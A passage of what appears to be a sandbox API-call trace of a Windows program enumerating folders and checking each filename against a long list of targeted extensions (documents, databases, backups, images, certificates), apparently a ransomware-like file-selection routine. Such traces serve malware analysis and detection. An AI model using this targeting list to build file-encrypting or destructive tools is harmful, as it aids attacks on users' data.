[0194.983] lstrlenW (lpString=".epsf") returned 5 [0194.983] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0194.983] lstrlenW (lpString=".epsp") returned 5 [0194.983] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0194.983] lstrlenW (lpString=".erf") returned 4 [0194.983] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".exr") returned 4 [0194.983] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".f4v") returned 4 [0194.983] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".fido") returned 5 [0194.983] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0194.983] lstrlenW (lpString=".flm") returned 4 [0194.983] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".flv") returned 4 [0194.983] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".frm") returned 4 [0194.983] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".fxg") returned 4 [0194.983] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".geo") returned 4 [0194.983] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".gif") returned 4 [0194.983] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0194.983] lstrlenW (lpString=".grs") returned 4 [0194.984] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0194.984] lstrlenW (lpString=".gz") returned 3 [0194.984] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0194.984] lstrlenW (lpString=".h") returned 2 [0194.984] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0194.984] lstrlenW (lpString=".hdr") returned 4 [0194.984] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0194.984] lstrlenW (lpString=".hpp") returned 4 [0194.984] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0194.984] lstrlenW (lpString=".hta") returned 4 [0194.984] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0194.984] lstrlenW (lpString=".htc") returned 4 [0194.984] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0194.984] lstrlenW (lpString=".htm") returned 4 [0194.984] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0194.984] lstrlenW (lpString=".html") returned 5 [0194.984] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0194.984] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0194.984] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0194.985] lstrlenW (lpString=".1cd") returned 4 [0194.985] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".3ds") returned 4 [0194.985] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".3fr") returned 4 [0194.985] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".3g2") returned 4 [0194.985] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".3gp") returned 4 [0194.985] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".7z") returned 3 [0194.985] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0194.985] lstrlenW (lpString=".accda") returned 6 [0194.985] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0194.985] lstrlenW (lpString=".accdb") returned 6 [0194.985] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0194.985] lstrlenW (lpString=".accdc") returned 6 [0194.985] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0194.985] lstrlenW (lpString=".accde") returned 6 [0194.985] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0194.985] lstrlenW (lpString=".accdt") returned 6 [0194.985] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0194.985] lstrlenW (lpString=".accdw") returned 6 [0194.985] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0194.985] lstrlenW (lpString=".adb") returned 4 [0194.985] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".adp") returned 4 [0194.985] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0194.985] lstrlenW (lpString=".ai") returned 3 [0194.985] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0194.985] lstrlenW (lpString=".ai3") returned 4 [0194.986] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".ai4") returned 4 [0194.986] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".ai5") returned 4 [0194.986] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".ai6") returned 4 [0194.986] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".ai7") returned 4 [0194.986] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".ai8") returned 4 [0194.986] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".anim") returned 5 [0194.986] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0194.986] lstrlenW (lpString=".arw") returned 4 [0194.986] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".as") returned 3 [0194.986] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0194.986] lstrlenW (lpString=".asa") returned 4 [0194.986] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".asc") returned 4 [0194.986] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".ascx") returned 5 [0194.986] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0194.986] lstrlenW (lpString=".asm") returned 4 [0194.986] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".asmx") returned 5 [0194.986] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0194.986] lstrlenW (lpString=".asp") returned 4 [0194.986] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0194.986] lstrlenW (lpString=".aspx") returned 5 [0194.986] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0194.987] lstrlenW (lpString=".asr") returned 4 [0194.987] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".asx") returned 4 [0194.987] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".avi") returned 4 [0194.987] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".avs") returned 4 [0194.987] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".backup") returned 7 [0194.987] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0194.987] lstrlenW (lpString=".bak") returned 4 [0194.987] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".bay") returned 4 [0194.987] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".bd") returned 3 [0194.987] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0194.987] lstrlenW (lpString=".bin") returned 4 [0194.987] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".bmp") returned 4 [0194.987] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".bz2") returned 4 [0194.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".c") returned 2 [0194.987] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0194.987] lstrlenW (lpString=".cdr") returned 4 [0194.987] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".cer") returned 4 [0194.987] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0194.987] lstrlenW (lpString=".cf") returned 3 [0194.987] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0194.988] lstrlenW (lpString=".cfc") returned 4 [0194.988] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".cfm") returned 4 [0194.988] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".cfml") returned 5 [0194.988] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0194.988] lstrlenW (lpString=".cfu") returned 4 [0194.988] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".chm") returned 4 [0194.988] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".cin") returned 4 [0194.988] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".class") returned 6 [0194.988] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0194.988] lstrlenW (lpString=".clx") returned 4 [0194.988] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".config") returned 7 [0194.988] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0194.988] lstrlenW (lpString=".cpp") returned 4 [0194.988] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".cr2") returned 4 [0194.988] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".crt") returned 4 [0194.988] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".crw") returned 4 [0194.988] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0194.988] lstrlenW (lpString=".cs") returned 3 [0194.988] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0194.988] lstrlenW (lpString=".css") returned 4 [0194.988] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".csv") returned 4 [0194.989] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".cub") returned 4 [0194.989] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dae") returned 4 [0194.989] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dat") returned 4 [0194.989] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".db") returned 3 [0194.989] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0194.989] lstrlenW (lpString=".dbf") returned 4 [0194.989] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dbx") returned 4 [0194.989] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dc3") returned 4 [0194.989] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dcm") returned 4 [0194.989] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dcr") returned 4 [0194.989] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".der") returned 4 [0194.989] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dib") returned 4 [0194.989] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dic") returned 4 [0194.989] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".dif") returned 4 [0194.989] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0194.989] lstrlenW (lpString=".divx") returned 5 [0194.989] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0194.989] lstrlenW (lpString=".djvu") returned 5 [0194.990] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0194.990] lstrlenW (lpString=".dng") returned 4 [0194.990] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".doc") returned 4 [0194.990] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".docm") returned 5 [0194.990] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0194.990] lstrlenW (lpString=".docx") returned 5 [0194.990] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0194.990] lstrlenW (lpString=".dot") returned 4 [0194.990] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dotm") returned 5 [0194.990] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0194.990] lstrlenW (lpString=".dotx") returned 5 [0194.990] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0194.990] lstrlenW (lpString=".dpx") returned 4 [0194.990] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dqy") returned 4 [0194.990] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dsn") returned 4 [0194.990] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dt") returned 3 [0194.990] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0194.990] lstrlenW (lpString=".dtd") returned 4 [0194.990] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dwg") returned 4 [0194.990] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dwt") returned 4 [0194.990] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0194.990] lstrlenW (lpString=".dx") returned 3 [0194.991] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0194.991] lstrlenW (lpString=".dxf") returned 4 [0194.991] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".edml") returned 5 [0194.991] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0194.991] lstrlenW (lpString=".efd") returned 4 [0194.991] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".elf") returned 4 [0194.991] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".emf") returned 4 [0194.991] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".emz") returned 4 [0194.991] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".epf") returned 4 [0194.991] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".eps") returned 4 [0194.991] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".epsf") returned 5 [0194.991] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0194.991] lstrlenW (lpString=".epsp") returned 5 [0194.991] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0194.991] lstrlenW (lpString=".erf") returned 4 [0194.991] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".exr") returned 4 [0194.991] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".f4v") returned 4 [0194.991] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0194.991] lstrlenW (lpString=".fido") returned 5 [0194.991] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0194.991] lstrlenW (lpString=".flm") returned 4 [0194.992] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".flv") returned 4 [0194.992] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".frm") returned 4 [0194.992] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".fxg") returned 4 [0194.992] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".geo") returned 4 [0194.992] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".gif") returned 4 [0194.992] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".grs") returned 4 [0194.992] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".gz") returned 3 [0194.992] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0194.992] lstrlenW (lpString=".h") returned 2 [0194.992] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0194.992] lstrlenW (lpString=".hdr") returned 4 [0194.992] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".hpp") returned 4 [0194.992] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".hta") returned 4 [0194.992] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".htc") returned 4 [0194.992] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0194.992] lstrlenW (lpString=".htm") returned 4 [0194.992] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0194.993] lstrlenW (lpString=".html") returned 5 [0194.993] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0194.993] lstrlenW (lpString=".icb") returned 4 [0194.993] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0194.993] lstrlenW (lpString=".ics") returned 4 [0194.993] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0194.993] lstrlenW (lpString=".iff") returned 4 [0194.993] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0194.993] lstrlenW (lpString=".inc") returned 4 [0194.993] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0194.993] lstrlenW (lpString=".indd") returned 5 [0194.993] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0194.994] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0194.994] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0195.163] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0195.163] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0195.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0195.165] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0195.166] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0195.166] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0195.168] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0195.168] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0195.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0195.170] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0195.172] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0195.172] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0195.172] FindClose (in: hFindFile=0x4420460 | out: hFindFile=0x4420460) returned 1 [0195.172] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0195.173] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0195.173] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0195.174] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0195.174] FindClose (in: hFindFile=0x4420da0 | out: hFindFile=0x4420da0) returned 1 [0195.174] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0195.175] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0195.175] FindClose (in: hFindFile=0x4420ba0 | out: hFindFile=0x4420ba0) returned 1 [0195.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0195.177] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9ede40d4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9ede40d4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0195.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0195.210] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0195.210] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0195.210] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x98de9f33, 